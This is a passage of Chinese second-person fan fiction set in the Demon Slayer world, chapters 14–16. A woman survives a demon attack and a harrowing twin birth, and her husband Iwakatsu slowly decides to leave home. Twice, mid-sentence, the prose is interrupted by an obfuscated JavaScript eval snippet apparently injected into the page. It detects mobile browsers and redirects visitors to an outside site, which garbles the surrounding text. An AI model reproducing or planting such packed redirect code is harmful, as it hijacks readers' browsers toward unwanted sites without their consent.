“快了吗?快了吗?”你流着泪不停地问。 身边人只是说;“再坚持一会儿。” 所以,还要坚持多久?你从没觉得自己这么委屈,比山高、比海深的那么多委屈在你心里翻山倒海,你要尖叫,你要砍人,你要拿一把刀冲出去,把这些站着说话不腰疼的人都赶走! 屋内屋外,都是你时而微弱时而尖利的泣音和哭喊,刀光剑影的搏杀反而是无声的。 岩胜跌坐在原地,手握断刀,还维持着出手的姿势。就这样,他怔怔地看着那人已臻化境的剑术,刀锋流利地挥出再收回,人外之物被轻易地斩首。 “兄长大人。”来人单膝跪地,为自己没有救下所有人道歉。 一墙之隔,你昏沉沉地徘徊于生死之境,差不多隔上一会儿就在这两个极点打转一圈,力气渐渐流失,身下依旧没有动静。 产婆终于找来了,她一只脚才跨进大门,看到满院子零落的尸块和飞溅的血迹,两眼一翻晕了过去。 奶娘得知后,擦干眼泪来到你身边:“别怕,我来给你接生。” 疼痛每一分每一秒都如此鲜明,世界都在你眼中模糊了,唯有它是清晰的。 你像在一片虚无中独自对抗,也像是丢在了丢在了狂风骤雨的小船上,任由身躯被潮流吞没,能争的只有那一口气、一丝念头。 我得活下去,我要活下去…… “我、我不怕。” 你用力扯住床单,指甲劈叉了也感觉不到。因恐惧溜走的力气慢慢找回,你额头上的青筋都显露出来。 “好,好样的。”奶娘哽咽道。 生死拉锯在继国宅内上演的同时,城郊山头上远眺的视线失望地移开了。 生前的折磨和被欺骗的愤怒的确转换成了相当强的力量,但无节制的杀戮很快就引来了猎鬼人,以至失去了成长的机会。 “无趣。”他简短地点评道,转身离开。 再去找合适的人选吧。 天明时分,你虚脱得躺倒一动不动,整个人和掰开揉碎了重新拼一块儿差不多,你还是痛得厉害,但孩子生出的一瞬间,全身心都放松的的感觉就占了上风。你现在觉得轻快极了,还有力气冲身边看护的人微笑。 奶娘顾不得一夜的劳累,抱起孩子走出来给家主看:“孩子多好看啊,像夫人呢。” 岩胜还是昨晚着急赶来装束,一身残破的甲衣,头发散乱,换了好几个姿势,也没有顺利地把婴儿抱过来而不硌痛他。 这份手忙脚乱,大家都当作初为人父的惊喜宽容笑过,至于这位年轻的父亲一脸魂不守舍,就更不忍苛责了。 宁静的喜悦在人们的心中默默流淌,新生的生命总能驱散一些死亡的阴影,顺利逃生的各位禁不住哭出声来。 “可是,”缘一突兀地开口,他不明白这些人的反应,奇怪地左顾右盼。 “还有一个孩子没生出来啊。” 14. 第 14 章 一句话从天堂到地狱就是这种感觉吧。 阿系最先撑不住,掩面跌坐,眼泪滚滚而下。 奶娘傻住,头一回觉得自己可能听不懂人话。 “还有一个孩子,哪儿?什么意思?” 岩胜如梦初醒,卸去上身的胸甲和手臂上的护具,把孩子抱过来。 “快,再去找,还有没有其他产婆?” 整夜的痛苦全部重新来过。 你在一次次蓄力、滑脱的过程中绝望,泪水顺着眼角打湿枕巾。 “我没有力气了,”你哭着说,“我真的一点力气也没有了。” 紧张刺激的逃命已经去了你大半的体力,能生出第一个都是意志力的结果,肚子里还有一个的事实就把它瓦解掉了。 奶娘把熬好的参汤一勺一勺喂进你嘴里:“不怕,不怕,咱们吃了东西就有力气了,乖啊……” 你努力吞咽,仍是哭泣:“不行,我不要生了,能不能不生啊……” 奶娘的泪滴到碗里:“好,不生了,再不生了,只生这个,好不好?” 直到午后,也没有第二位产婆到来。最终是缘一请来了据称是“紫藤花家”的医师,给你诊断。 这位医师来自山的另一边,岩胜发话后,他迅速出发,竟在天黑前就把人带来了。 你已说不出话,面色也灰白下去,隐约看到她白色的帽子晃来晃去。 “夫人没办法生产了,”她收回搭在你腕上的手指,“只能用药把孩子打下来,你们快拿主意吧。” “不行、不行!”屋外,奶娘歇斯底里地喊叫起来,“孩子都这么大了怎么打?打下来,夫人能活吗?” “这,确实有可能打不下来。”医师急得直冒汗,她是治队里受伤的剑士的,看产妇还是头一回。 “但鬼血对人有害,再不打,毒就要渗到胎盘里去了,大人、小孩都会死的。” “胡说八道!”奶娘勃然大怒,“什么鬼、什么鬼血,从来没听说过!你个庸医,你吓唬谁呐。家主,家主大人,我们再去找个产婆吧,孩子能生出来的,肯定能的,呜……” 她哭得说不下去了。 你气息奄奄地躺着,那一叠一叠高上去的声浪,震得你头疼。你艰难地喘息,终于举起了拳头,落在榻榻米上。 咚、咚、咚…… 是不是还得用点儿劲儿? 你抬起发颤的手,跌入一只宽大的手掌,柔软地陷进去。 岩胜、岩胜。 你用眼神呼喊他,一瞬间心里就有了决定。 他俯下身,可你还是发不出声音,只好指向医师的药箱。 “你要打?” 你点头。 他一言不发,揪紧你身上薄薄的被单,头埋进去,肩背痉挛一样耸动。你伸手,摩挲他的额发。 药很快熬好,奶娘拒绝端进来。岩胜亲手捧着碗坐到床前,你尽数喝下去。 药力发挥作用,熟悉的紧缩感从下身传来,你瞬间疼弯了腰。 催发的痛感和婴儿自然娩出截然不同,似有一只大手蹂躏腹部,撕扯着骨肉。你大声痛呼,汗水涔涔涌出。 你疼得眼前发黑,四肢都不大听使唤起来。 岩胜死死摁住你抽搐着挺起的身躯,保持好固定的姿势。你像只案板上的鱼,在他禁锢的怀抱里扑腾,肩上裹好的伤挣裂开来。 被那个怪物弄死,就不会折磨这么久了吧? 你浑身发冷,感到死之将至。 “血,流了好多血!”侍女哭道。 “岩、岩胜,”你被这冲撞的力道弄得有了些说话的余力,“嘱咐的话都说过,你知道怎么做。我要说,你进来,我、我很高兴,不要怪自己……” 你跌入到一片血色中。 缘一说,你流掉了身体里近乎四分之一的血,浓厚的血香飘出去好远,引得外地的鬼都忍不住接二连三地跳进来,他整个后半夜不得不守在门前挨个斩杀。 岩胜就背对着他,跪坐在残破的屋内看医师用尽办法给你止血,旁边放着那把断掉的刀。 因为损耗过多,你足足昏迷了五天才醒。在这之前,没人觉得你能活下来。 时透家得到消息,你的父亲难得出门,坐上牛车来看女婿。 岩胜正焦头烂额,你的抢救刚刚告一段落,那个打下的孩子浑身青紫,哭声弱得听不到,医师掉过头就在母亲的病床前全力救援孩子。 可时透家主是盟友也是亲家,必须亲自接见。他匆匆换一身衣裳,赶到堂屋,凌乱的头发和仪表都顾不上了。 “事情我都听说了,真是闻所未闻。”时透家主长吁短叹,“查探的人回来说,秋山全家无一幸免,其他家损失也不小,这可如何是好,他们的封地田产可怎么办呢?” 对方的目的,岩胜听明白了,但他无意思考这个问题。短短一个昼夜,某些世俗的标准已在他心中粉碎,不再有投入精力的价值。 “岳父大人自有安排,在下听您的就是了。”他心不在焉道。 见女婿如此“上道”,时透家主喜不自胜:“好、好,贤婿放心,我自是有章程的,亏不着咱们两家。” 又道:“那孩子的事我也听说了,唉,死生有命富贵在天,她是福薄了些,贤婿别太难过了。她有个一母同胞的妹妹,今年十岁了,模样、性情比她还强呢,明年嫁过来,咱们两个还是翁婿,两家的盟约嘛,照旧!” 岩胜猛地站起来。 时透家主正倒了酒要和他碰杯,这一下子吓得不轻,杯子掉了下去。 “这、这是何意啊?” 岩胜袖子抖了抖,到底没说什么,大步流星走开了。 你醒来的时候,落霞烧满大半边天,映在窗纸上红红的。你静静地看了好一会儿,才感到意识、知觉还有记忆一一归位,神经缓慢地把信号元推送到每一处末梢,就像是闲置了很久的旧网址,点进去加载半天才刷出了页面。 你半眯着眼,感受阳光的余晖落在身上的暖意,骨子里却透出深深的冷。 你觉得冷,还渴得厉害,这都是大量失血的症状。你有现代人的基本医疗常识,知道自己余生要面临怎样的境地。 奇怪,你心里什么想法也没有,脑子空空荡荡,就这么一动不动地躺着。阿系来给你掖被角,激动地打翻了一旁的杯盏。 屋子里来了好多人,你费力地转动脖子看他们一眼,在一片模糊的人影中认出岩胜的脸。 那大团不规则的灰从夕阳的红中消退,只剩下他一人。你歪过头想要看得更真切些,他已快步上前握住你的手,俯下身轻声叫你的名字。 你费力地笑一下,使劲抬起头贴一下他的脸。 他捧住你的后脑勺轻放回枕上,两额相触,柔软的脸颊之间隔着水的微凉。 你不说话,挨紧他,昏沉沉地睡过去,一睡又是好多天。 足有大半个月,你就这么断断续续地时睡时醒,醒来迷迷瞪瞪,睡后总是心悸惊醒。 那位医师说,你目前元气大伤,根基已损,最怕的就是邪风入体。你用现代的语言翻译一遍就是:你的免疫系统全面崩溃,一点轻微的感染都有可能让你逃过一劫的小命呜呼掉。 奶娘和阿系随便用了点药,不顾自己的伤病轮流看护你,为你擦净身体,换上整洁的寝衣和被褥,二十四小时都不断人。 趁着清醒的时候,你叮嘱她们用纱布遮住口鼻,开水消杀餐具,最好每天更换衣物,尤其注意勤洗手。至于她们执行得怎么样,你无力监督。 岩胜也过来陪你。死者的入殓、抚恤,家中的修缮还有邻国武士暴毙的混乱,太多的事要由家主一人处理,但他每晚都归来,躺在你身旁度过短暂的休整时间。 你夜半梦魇,惊厥醒来,哭个不停的时候,他就熟练地搂住你低声安慰。 有时你忘掉自己刚刚生产,心安理得地在半梦半醒间躺上一整天,有时你突然梦到孩子憋到青紫的脸,哭喊着奔到摇篮前试探他们的鼻息,把孩子也吵得哭起来。 你糟糕的身体和精神状况成为这个家每个人的折磨,自己也在起伏不定的衰弱中持续地崩溃。 与之相反的是,幸存的武士家族都在分食秋山等家的遗产后呈现出欣欣向荣的态势,河道两边的势力分布全部重新洗牌,一座座桥竞相竣工,用来连通他们扩充的领土。当然,大家都吸取了教训,用牲畜来奠基。 这些没有人来告诉你,直到天气转暖,你才有了明显的好转,可以持续地坐上好一会儿而不会突然睡过去。 在这种情形下,孩子满月、百天之类的庆祝只能潦草对付过去。 缘一定期带医师前来探望,给你还有阿系等人看伤,鬼造成的伤口护理得很好,每天敷上紫藤花,疤痕淡得看不到了,但失血的后遗症谁也无能为力。 你已经有了足够的定力面对那晚的灾难,缘一在你不断的追问下吐露了很多信息,你慢慢消化着。 “我是稀血?”你问。 缘一点头。 好,又一条路堵死了。你绞尽脑汁回忆起来的中学生物知识毫无用武之地,输血什么的,别想了。 知道了那个上蹿下跳用非人速度移动的怪物本质上还是碳基生物,你才觉得世界观救回来点,马上迎来痛击。本以为自己会很失落,却又在一瞬间觉得“果然如此”,你从来就不是被幸运眷顾的人,不如说,简直是霉运缠身。 “那‘鬼’是怎么来的?” 缘一解释好久,医师从旁补充后,你弄清楚了。 “也就是说,每只鬼都曾是妈妈生的孩子吗?”你喃喃道,不知不觉泪水流下,“怎么会有这种事啊。” 那个可以舍去一切为后代铺路的母亲,那个毫不留情收割人命的怪物,你要怎么接受她们是同一个啊。 缘一无措地移开视线,他从来就不懂得怎么回应别人的感情流露。 “可是,”医师愤愤不平道,“不管生前多么可怜,变成了鬼就是罪恶的生物。要为鬼难过的话,多少死在鬼下的人我都哭不过来呢。” “不一样的。”你把花子的故事讲给他们听。她为孩子付出过多大牺牲,又如何在丧失理智后将他们无情地吞食。 “如果是我的话,人生眼看着就要走到尽头,最牵挂的事却还没有了结,仅剩的愿望成了别人欺骗的诱饵,这种情况下要怎么拒绝诱惑呢?以为有了延续生命的希望,结果却是另一场骗局,爱的人也赔了进去,还有比这更悲惨的事吗?鬼的确是充满罪恶的生物,但你们说的鬼王才是最可恨的啊!” 医师义愤填膺的比划僵住,随即感到和你一样的悲哀。 “是啊,鬼就是这样虚无,可恨又可悲的生物啊……” 你们又聊了很多,从鬼的话题到你的身体恢复情况,岩胜在旁边静静的听着,不发表任何意见。 缘一告诉你,你流掉了身体里近乎四分之一的血,五脏六腑都因此受到了损伤。医师很认同这一判断,讲了很多日常要注意的事项,奶娘一一记下来。 你知道有经验的人看到血迹就能预估出血量,但他们这个反应……你看看缘一,又看看岩胜,把话咽了下去。 你精神渐好,岩胜能腾出手来收拾鬼造成的内务、外务,他处理好所有,要动手惩罚那晚弃家逃命的侍卫家臣。那天,你拦住他,恳切地劝告。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048780|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “岩胜,算了吧。” 醒来的那天,你看到阳光那么得美,没有语言可以表达心中的喜悦。生死之间走了一遭,你更能感到生命的可贵,理解一切求生的挣扎。 活下来是多么不容易的事,何必再造杀孽呢? “他们罪有应得,”岩胜捏捏眉心,短短数月那里出现了一道深痕,“这是背主!” 你需要的是忠心耿耿的下人,比以往任何时候都需要。他想。 “他们没有背主,”你说,“我相信,如果是哪家的武士打了过来,他们一定会用生命来守护我、守护继国家的,可来的是鬼,谁知道怎么应对呢?” 人是会为认知之外的事物惊恐、呆滞、举止失措的。你想起那一刻自己的绝望还有三观都震碎的感觉,别人会好得了多少呢?古人只会更加这种敬畏未知现象吧。 “岩胜,放过他们吧。” 岩胜眼里的执拗一点点化开,他疲惫地低下头,默许了你的请求。 他愤怒、不原谅,是因为从未走出那个夜晚,他总是责任心太强,稍有不如意就怪在自己头上,活得太累。你希望你的宽容能让他也放过自己。 在你的要求下,他取消了处决,可还是有人在返回家中后选择了切腹自尽。对此,岩胜并不意外,他说这才是武士应有的操守,你不懂。 你只为生命的逝去感到痛苦、悲愤…… 到处都是亡者的白幡,哀乐从村子的这头响到那头,没有人能从沉重的氛围中逃出来。 “岩胜,开心一点,”你紧紧地抱住他,“也有好的事情,不是吗?缘一回来了。” 当时,认出那个总是出现在门外的影子是缘一,你惊喜了好一会儿。虽然马上就睡过去了,那种情绪还是持续了一段时间。岩胜他的感情,只会更甚于你。 “母亲要是在的话,多么好啊。” 缘一说,他加入鬼杀队有一阵子了,工作是四处杀鬼,因为你的缘故,这一带鬼的数量上升他才常来。不过杀了几拨后就平静了,他也该走了。 医师先行一步,临走前她送给你一个紫藤花香囊遮掩稀血的香味。 缘一在席子的另一端向你们顿首行礼,接着起身后撤,准备离开。你看见岩胜膝盖上的手瞬间绷紧,手背上青筋暴起。 “我们让他留下来吧,”你说,“我想,这就是母亲大人的心愿。” 岩胜,你的心愿也是这样的吧? “不知道怎么开口的话,我去说。” 你追他到院子里,缘一惊讶地回身注视,然后单膝下跪。 他为自己没能及时赶到深感抱歉,明白他的意思后,轮到你惊讶你了。 “缘一,你救下了岩胜、我、阿系……还有好多好多人啊。” 难产的事,谁也不想的。你已经尽到了一切的努力:从小锻炼,保持身体健康,避孕,推迟到相对合理的年龄才怀胎,孕期也处处注意,可还是天降一只鬼直接把人逼到绝境。天意不在你这边,没办法的,能怪谁? 他黯然地垂下眼眸,一言不发。 你习惯了他的无言以对,直奔主题:“缘一,留下来和我们一起生活,好不好?” 你也是最近才了解到,这个时代的日本,不仅是双生子饱受歧视,诞育双生子的母亲也会被蔑称为“畜生腹”。那么,朱乃夫人的愁苦,继国家主的顾虑,还有他们兄弟的逃避,你都有了更深一层的理解。 “不久之前,我才对母亲的心稍稍有了体会。”你双手相握放在胸前,不知道怎么表达得更准确一些。 岩胜答应了你把两个孩子养在一起的愿望,也告诉了你可能引来的非议和麻烦。可是,到底是无辜稚子还是世人的偏见引来了灾难? 你告诉自己的丈夫:我确定自己在做什么,外界的声音就全是无关的噪音。 这样的话,缘一听得懂吗?而且,最关键的是怎么说服他留下来。 “我的两个孩子,缘一你也看到了。小的那一个,他实在是太可怜了,那么小一点,拖那么久才生下来,他又病又弱,全是我不好,是我把他生成这个样子的,想到他将来会过得很艰难,我的心都要碎了。” 你近来多愁善感,说着说着眼眶微微湿润,你用力眨一下眼睛继续道:“缘一,回来吧,母亲在天之灵看到你这样奔波,她也会心碎的。” 缘一抬起头,怔怔地看着你。 “我……” 他开口,你满怀期待地对视。 缘一扭头:“我走了。” 来到墙角的樱花树下,他停下脚步。 “这个世界上,充满了美好。”他看着飘落的粉色花朵,“能降生在这个世界,我感到很幸福。可是,因为鬼的存在,幸福与美好变得脆弱,可以被轻易毁灭。”* “如果可以的话,我只想尽我所能,除尽世上所有的鬼。” 缘一他,找到了自己真正想做的事,看来是劝不回来了。你欣慰,更感到头疼。 “可是,缘一,这个世界不仅有鬼,还有催生鬼的贪欲、邪恶、偏见与不公,层层剥削的制度,自相残杀的战争,一场突如其来的天灾人祸,甚至只是人与人之间的不理解,都会酿成惨剧,把世界变成鬼的温床。” 到时候怎么办呢,缘一,这些你要怎么应付呢?所以,回来吧,家人会是你永远的后盾,不要单方面地把自己放逐。 你要说下去,但你看得出来,缘一又开始听不懂了。 “我和你哥哥都很想你,有空多回来看看吧。”最终,你如是说。 他似乎笑了一下,转身要走。 “缘一,最后一个问题,”你说,“我还能活多久?” 15. 第 15 章 奶娘把孩子抱给你看。只隔一天出生的两个小婴儿,原本该一般大的兄弟俩,现在哥哥明显比弟弟大了一圈。 你知道,不是长子长得快,而是小的那个发育迟缓。 你抱起弟弟,担心地看着他握成拳的双手。这似乎是肌张力不足的表现,是脑瘫的症状之一。想起这孩子早产又难产,你的心都揪起来了。 可是,你看来看去,看不出个究竟,恨不能变出X光给照照。 看过的几位医师只说这孩子体弱不好养,别的就没了。但还有一种迟发性的脑瘫,据说两三岁才能看出来呢。更怕的是,都用不了多久,这个格外弱小的小婴儿就自己停下了呼吸。 你梦中都坐立难安,醒来好几遍去看孩子,深恨自己上辈子看了太多杂七杂八的书,要不是懂这么多,这会儿也不会整天自己吓自己。 两三岁啊。你想,至少三年内自己是没法安生了。幸好,三年你还是有的。 你再换哥哥抱起,看到他宁静的睡颜,心里稍稍踏实了点。 “这下不用担心分不清哥哥弟弟了。”你苦笑道,“本来我还想,他们跟你和缘一似的,我就难了。” 岩胜停顿了一会儿才说:“我们没那么像。” “胡说,我可是全靠他的胎记呢。你们长得一模一样,身量身形也像。我还以为缘一在外面吃不好睡不好会长不高呢,没想到差不多。还是遗传靠谱啊,这下不用担心孩子们的身高了。” 你捧起他的脸,仔细端详,又道:“不对,我在开玩笑,你比他漂亮,我不会看错——怎么不说话?” 你轻抵他的额头,在唇上贴了一下。 “在想什么?” 岩胜摸摸你的头发。 “在想给孩子们找奶娘的事,家臣推荐了几个人选。” 因为事出匆忙,这段时间,你们都是找村子里生产过的女人们帮忙喂养。 你全身绷紧,害怕地护住两个孩子:“不,不行,你答应过我可以自己带他们的!” 继承人不能由生母抚养是武家的规定,你知道岩胜就是这样长大的,你的大弟弟名份确立得晚,也是一早就抱离了后院见不着几面,可你绝不接受自己也这样! 剩下的时间已经如此稀少,还要因为陈规陋习和孩子分离,这怎么能接受? 强烈的情绪波动让你又开始眩晕,你一下撑不住差点压到襁褓,岩胜眼疾手快,一手揽住了你倾倒的身子。 “我答应的事不会变,”他的声音始终沉稳,“但照顾两个孩子太过辛苦,我不忍心看你这么累。” 你缓过来,意识到自己的应激多么伤人,抱着脑袋,懊恼得不知该说什么。 “放心,来的人只会是你的帮手,谁也无权干涉你什么。”他安抚地向你保证,直到你完全放松下来。 “岩胜,对不起,我只是很害怕,控制不住。” “我知道。”他说。这是我的错。 虽然放出了豪言要自己带孩子,但其实你根本承担不了一点养育责任。 疲惫感像细长的水草无时无刻不缠绕着你,睡一觉醒来神清气爽的感觉已永远消失,你在镜中看到自己的脸上蒙着一层灰色,何时都亮不起来,唇色淡得近乎没有,你整宿地失眠又整日地睡不醒,无论是做着什么还是在休息,总是一副歇不过来的样子。 你努力地想要振作,从散步开始恢复体力,没有胃口也按时吃饭,每天至少陪孩子们玩上两刻钟,但每次都是坚持一会儿就心悸、气短,进而头晕眼花。 心里还装着跑跳随心的自己,孱弱的□□却时刻将你束缚在狭小的屋内。于是你过着和其他贵妇别无二般的生活:下人们负责照看孩子,每天抱来给你看看。区别仅仅是,他们就养在你的屋里。 你不得不认清现实,但还是想尽量做些什么。你教奶娘多给弟弟做按摩,帮助他复健,留心两个孩子的发育情况。 哥哥按部就班地伸懒腰、转身、坐起来,到了弟弟这儿就格外艰难,因为病痛,他不断地哭泣,声音也格外的微弱。 你抱着他又拍又哄,实在不知道还能怎么做,每次受挫后,硬撑着回到自己房间里,忍不住就哭一场。 还好,岩胜每一次都在。 鼓起勇气的时候,期待破碎的时候,累到麻木、冷漠的时候,他都在,接住你的每一种情绪。 你担心会耽误他的事,可岩胜总是说:“我会陪着你。” 你不知道外人会有多少微词,岩胜从不让它们传进来,可父亲时透家主的不满就没有办法了。 奶娘私底下告诉过你,那件事后你父亲来过一次,不知和岩胜说了什么,两个人不欢而散。 你猜,肯定不是什么好话。你太了解他的德性了。 想起今生这对父母,你心中涌起的全是和亲情无关的东西。 即使心里明白这是怎样的时代,可他们对世道规则的认同,理所当然都不够,而是如鱼在水般自然自在,他们娴熟地抓取一切甚至血肉砌入这个有利于我的世界,不会觉得有任何不对,相反,看出、指出这点的人才是邪恶的、要被消灭的。 他们实在是一对太标准的武家夫妇,没有半分程序之外的东西,像教科书上的全家福,因为所有人长着相似的周正五官,向同一方向发出幅度一致的微笑,从头到脚透出股伪人味儿,你常常在意识到这点时遍体生寒,实在生不出亲近之心。 感情是相互的,你知道父母也不亲你,骨肉血缘能淡薄到这种程度真是可哀。掺水的孟婆汤让你们无法成为真正意义上的一家人。如果不是长期占据着长女叠加独女的生态位,一开始的那些栽培和重视都不会有吧。 你越是明白他们的凉薄,越感到已拥有的珍贵。有向世俗低头的继国家主,随波逐流的时透夫妇,也有为孩子反抗丈夫的朱乃,有体贴他人甘愿付出的岩胜,环境只不过是提供某种便利,人长成什么样还是凭自己。 这样看来,虽然穿到了哪哪儿不方便的古代日本,上天待你不能算不厚,混成现在这样,是你自己太没用了。 “岩胜,别理他。”你同仇敌忾道,“他就嘴上说两句,能干嘛?” 岩胜笑笑就过去了。 他从来不在意,只是替你不值。但这话,他是不会说的。 岩胜几乎用全部的时间来陪你。 秋天到来。他亲自动手,在你房门对面沿着墙面挖开一条浅沟,移栽下缘一寄来的植株。 第二年五月间,新生的枝条攀上搭好的架子,吐出粉紫色的花穗,满院香风习习,芬芳馥郁。 这附近温泉多,地热资源丰富,花期很长。一年漫长夏秋两季你们伴着紫藤花香度过。 阿系拉起格子门,你和孩子们就坐在檐下看着,次子靠在你身侧,长子已经能跌跌撞撞地跑出去,伸手去够花瓣,被落下的花粉呛得直打喷嚏。 晚上挤在一间屋子里,你们就看窗外的星星。你再次把天文学知识忘个干净,正好听岩胜重新讲解一遍。不巧碰到云多的夜晚,就看月亮的光华在水汽中衍射出五彩的晕轮。两个孩子抱着被子似懂非懂地听织女的故事。 岩胜分别给他们取名为进一和止一。 他说一是起源也是整体,是开始也是圆满,包含无限的生机。你很喜欢。 生活像是晒在棉被上的阳光,柔软温暖,只除了身上的冷。你的屋里四季都点着火盆,也驱散不了无处不在的冷意。各式各样的补品流水一样地送进来,你养到能走路、说笑,做一些简单的活,还是觉得冷。 岩胜询问身体状况,你总是回答“我感觉好多了”。 他日渐沉默,处理好大部分事物,像是要把一辈子的事都一口气替你干了。 期间,他只出门了一次,给断刀举行法事。出自神社的奉纳玉钢,千锤百炼的名家手笔,精挑细选出来供奉佛前的真打,断裂后也要重归寺庙剑葬。 没事做的时候,他也不肯闲下来,看你吃力地从架上取书,索性连整理笔墨纸砚这种小事也代劳了。 你们多了很多共读的时光。他听你朗诵喜欢的文字,声音朗朗可咬金断玉,一字一句仿佛有金属的色泽,不同于庙里学问僧黏糊的吟诵。 养病的时间漫长难熬,你翻完了朱乃留下的佛经,圈点尽了上面的警言妙句,自感足以出家。 岩胜大部分时候静静地听,有时问几句,你就用日语解释一遍。* “佛经也有些意思,很多道理是相通的。”一次他说。 “你说哪一句?”你精神一振,赶紧问他。 “盲龟浮木喻,”他说,“浩瀚大海中的一只盲眼海龟,百年探头一次,恰好钻进一块浮木的孔中得遇佛法,凡人触摸不到天才的境界,就像这盲龟把方寸的机缘当作什么了不起的东西,不是很可笑吗?”* 你隐约嗅到危险的气味,却茫然不知如何应对。他已自知失言,转移了话题。 “你读得真好听,再读一些别的吧。” 人们对他者的解读往往是给自己下的考语,你觉得可能读什么都一样。 你放下佛经,改看诗文,哪首阳光积极就读哪首。岩胜不再擅自发表评论,你攒了一肚子的话没处说,深深地怀疑他是故意的,可岩胜不给你发难的机会,埋头整理纸张。 出事之前,你写了厚厚的几沓子笔记,有汉字的,也有假名的,零零散散地夹在各种书里,一直想不起来收拾。岩胜帮忙取出来,按顺序一一摆放好。 你抢过来自己整理,他也不恼,就这么看着,需要哪本就乖乖地递过来。你没心思干了。 巨大的问题横亘在面前,当事人拒绝处理。 他只是翻看手里的字纸说:“你真的很有才华,这样的汉学水平是我平生所见的第一,多少自夸学问的人根本比不上,就凭这一点,你当初完全能嫁到更高的人家,岳父肯运作的话,嫁入公家甚至入宫也不是难事,我……” 你捂住他的嘴:“别说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048781|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 岩胜停下,眼睛不敢看你。 “岩胜,嫁给别人或许会有更富贵的生活,可嫁给你才有我想要的生活,你明白吗?”你尽量用轻松的口吻去说,但失败了。 “你说的那些,确实存在实现的可能,但它们都太复杂了,我应付不来。” 你承认,美貌、才华、金钱、地位之间等价或不等的交换,是人世间赖以运行的基本规则之一,人生的本质就是不同的换算,不乏有高手通过令人眼花缭乱的公式推导走上巅峰,但你仍然希望自己的配平步骤能简单再简单一些。 冥冥之中若有天意,就让人皆得偿所愿吧,你只要你的世界里,一切事物都是它们本来的样子。才华就是才华,爱好就是爱好,不必非得换来什么。 “我诞生于世就是为了使生活变得单纯,并找到正确的出路。”*你引用了一句小说里的话作为总结,“不要再说当初、假如这种话了。” 那次谈话后,你们很久没有再聊真正的心里话。言不由衷的鼓励说了一箩筐,你和他都知道对方没有听进去。 事情是怎么发展成了这样,你束手无策。 岩胜继续他的埋头苦干,剑术反而荒废了。他说以前的练法不对,方向错误,练越多只会偏离得越远,他要好好想想,再重新开始。 他说这话的时候,你恍恍惚惚好像看到了一个巨大的高考倒计时在哗啦啦的翻页,数字清零的那一天,你们的生活一定会翻天覆地。 你束手无策,高三总有结束的时候,非人力可干预。你曾经期待过,现在却忐忑不安。 岩胜的目光变得飘忽不停,常常落在越过你的位置,又忽然小心翼翼地收回来,似乎连这样都担心会伤害到你。 你们徒劳地等待着第二只靴子落地。 阿系把闲置在柜子里的衣料翻了出来,岩胜送的西阵织裁成了小袖和服,现在穿正好合适。 你挑了一个阳光很好的晴天穿给他看,和服上淡雅的百合花纹样果然很适合你,但那素净的颜色让你缺乏血色的脸看起来更加苍白。 或许在时人的眼中,这样更美也说不定呢。你乐观地想。 岩胜照常夸赞你,眼神、语气无一不真诚,你依然开心不起来。 家里多了好多人,继国家的家臣、统领的下级武士、下辖的小领主、封地内的富户……这些人整日眉头紧锁地进进出出,离开后有的忧虑不已,有的一脸暗喜。 然后就是相邻方国的各家盟友,他们显然不好说话,争吵声从议事厅一直穿到寝屋。但再难说话,利益到手嘴也会软上三分,慢慢地,他们也和言细语起来,就是不知几家欢喜几家愁。 时间长了,奶娘也起了疑,问你:“家主这是在忙什么?这么些八辈子都凑不齐的人,怎么全来了?” 你一声不吭,只等岩胜亲自开口。他却像无事人一样,等闲就来看你,关心你的身体,叮嘱你按时喝药进补,唯独不加以解释。 可你们都清楚,那一天总会到来。 又一年过去,院里的紫藤花蔓延了一倍多,柔韧的枝条爬满墙面,香馥馥的花穗低垂下,送来阵阵香风。你看起来也好了许多,不再那么依赖被炉和屏风,可以一个人走来走去,不至于动辄伤风感冒。 那件青色的和服披在你身上,散落的百合花从下摆一路攀升到胸前,两个孩子环绕在身侧,摩挲着你袖口的纹样,你拉起他们的小手,看到岩胜从走廊的另一端过来。 父亲第一时间赶来,激烈地表达了反对。稳定、可靠的盟友才符合他的利益,岩胜要走,对他而言就是背叛。 “异想天开!”他拍着桌子,气得面皮紫胀,“堂堂武士,丢下封地、丢下家宅,你要干什么?你想干什么!” 他的声浪一阵比一阵高,说到后来唾沫横风、口干舌燥,岩胜岿然不动。 另一边,奶娘在哭。“你劝劝他,劝劝家主呀!” 你麻木地坐着,只是在想:他怎么这么胖了? 几年不见,父亲肉身膨胀,已变成了一个脑满肠肥的大胖子,说着话,冒出一脑门的虚汗,两颊的肉都在颤,那些疾言厉色的警告,完全发挥不出应有的效果,只会让人发笑。 你涣散的眼神从他不断开合的嘴下移到鼓囊囊的腰身,怀疑他别说是骑马打仗,恐怕连从前的盔甲都塞不进去了。 这样一个人大谈着武士的忠义和职责,究竟有什么说服力呢? 时透家主说得口渴了,接过阿系端来的茶杯,一仰脖就看见了你。 “还有,”他一来劲直接指着你,“责任是能随随便便丢下的吗,你对得起你老婆孩子?我告你,你这是抛妻弃子,你有什么脸?今天当着你夫人我女儿的面,你给我把话收回来,快说!” “父亲!”你说话了。 所有人的注视中,你从坐垫上站起,来到父亲面前。 “岩胜没有对不起我,从来没有,一刻也没有。”你说。“我支持他离开。” 16. 第 16 章 你始终相信,每个人来到世上,最终都要找到他自己喜欢也认可的方式,然后就这样度过余生。 